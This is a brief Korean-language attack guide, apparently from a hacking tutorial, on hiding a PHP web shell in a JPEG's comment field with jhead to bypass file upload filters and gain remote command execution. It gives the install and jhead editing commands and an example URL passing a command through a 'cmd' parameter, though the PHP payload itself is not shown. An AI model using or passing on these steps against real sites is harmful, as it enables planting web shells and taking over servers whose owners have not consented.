
PHP 스크립트 및 Jhead를 사용하여 JPEG 이미지에 PHP 웹셸을 주입하기 위한 가이드입니다. 파일 업로드 필터를 우회하고 조작된 이미지 파일을 통해 원격 명령 실행을 달성하는 데 사용됩니다.
$ pkg install vim or apt-get install vim
$ pkg install jhead or apt-get install jhead
$ jhead -h (도움말 보기)
$ jhead -purejpg yourfiles.jpg
$ jhead -ce yourfiles.jpg
ESC를 누른 후 :x를 입력하여 저장하세요
$ jhead yourfiles.jpg
예시 : site.com/youfiles.php?cmd=Command Here
